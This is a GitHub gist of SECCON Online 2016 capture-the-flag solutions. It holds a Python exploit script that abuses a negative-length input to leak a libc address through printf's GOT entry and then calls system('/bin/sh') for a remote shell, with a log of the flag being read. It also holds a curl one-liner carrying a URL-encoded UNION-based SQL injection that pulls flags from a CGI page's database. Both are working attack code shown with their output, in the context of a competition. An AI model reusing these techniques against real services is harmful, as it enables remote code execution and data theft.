Last active
December 11, 2016 18:23
-
-
Save ytn86/f3429fc2f1c9122bea887d2a96c5e49a to your computer and use it in GitHub Desktop.
SECCON Online 2016
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /usr/bin/env python3 | |
import struct | |
import telnetlib | |
import sys | |
HOST_L='localhost' | |
HOST_R='cheermsg.pwn.seccon.jp' | |
PORT=30527 | |
def pI(addr): | |
return struct.pack('<I', addr) | |
def uI(addr): | |
return struct.unpack('<I', addr)[0] | |
def main(t): | |
printf_plt = 0x08048430 | |
printf_got = 0x0804a010 | |
main = 0x080485ca | |
if t == 'r': | |
tn = telnetlib.Telnet(HOST_R, PORT) | |
libc_system_offset = 0x40310 | |
libc_binsh_offset = 0x16084c | |
libc_printf_offset = 0x4d410 | |
else: | |
tn = telnetlib.Telnet(HOST_L, PORT) | |
libc_system_offset = 0x3af40 | |
libc_binsh_offset = 0x15ef08 | |
libc_printf_offset = 0x4a020 | |
input() | |
tn.write(b'-144\n') | |
tn.read_until(b'Name >>') | |
payload = pI(printf_plt) | |
payload += pI(main) | |
payload += pI(printf_got) | |
tn.write(payload + b'\n') | |
tn.read_until(b'Message : \n') | |
libc_printf = uI(tn.read_some()[:4]) | |
libc_system = libc_printf + (libc_system_offset - libc_printf_offset) | |
libc_binsh = libc_printf + (libc_binsh_offset - libc_printf_offset) | |
print('libc_printf : {}'.format(hex(libc_printf))) | |
print('libc_system : {}'.format(hex(libc_system))) | |
print('libc_binsh : {}'.format(hex(libc_binsh))) | |
tn.write(b'-144\n') | |
payload = pI(libc_system) | |
payload += pI(0x12345678) | |
payload += pI(libc_binsh) | |
tn.read_until(b'Name >> ') | |
tn.write(payload + b'\n') | |
tn.read_until(b'Message : \n') | |
tn.interact() | |
if __name__ == '__main__': | |
argv = sys.argv | |
if len(argv) != 2: | |
main('l') | |
else: | |
if (argv[1] == 'r'): | |
main('r') | |
else: | |
main('l') | |
""" | |
$ python3 exploit.py r | |
libc_printf : 0xf75f2410 | |
libc_system : 0xf75e5310 | |
libc_binsh : 0xf770584c | |
ls | |
cheer_msg | |
flag.txt | |
run.sh | |
cat flag.txt | |
SECCON{N40.T_15_ju571c3} | |
exit | |
*** Connection closed by remote host *** | |
""" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
curl --user 'keigo:test' "localhost:81/authed/sqlinj/72.cgi?no=4822267938'%20UNION%20SELECT%20%28SELECT%20group%5fconcat%28f1ag%2c%22%0a%22%29%20from%20f1ags%29%2c%221%22%2c%221%22%3b%2d%2d#SSS" -vvv | |
<< COMMENTOUT | |
<html> | |
<head> | |
<title>SECCON 2016 Online</title> | |
<!-- by KeigoYAMAZAKI, 2016.11.08- --> | |
</head> | |
<body> | |
<a href="?no=4822267938">link</a> | |
<hr> | |
ISBN-10: 4822267938<br> | |
ISBN-13: 978-4822267933<br> | |
PUBLISH: 2016/2/19<p> | |
ISBN-10: SECCON{I want to eventually make a CGC web edition... someday...}<br> | |
ISBN-13: 1<br> | |
PUBLISH: 1<p> | |
</body></html> | |
COMMENTOUT |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment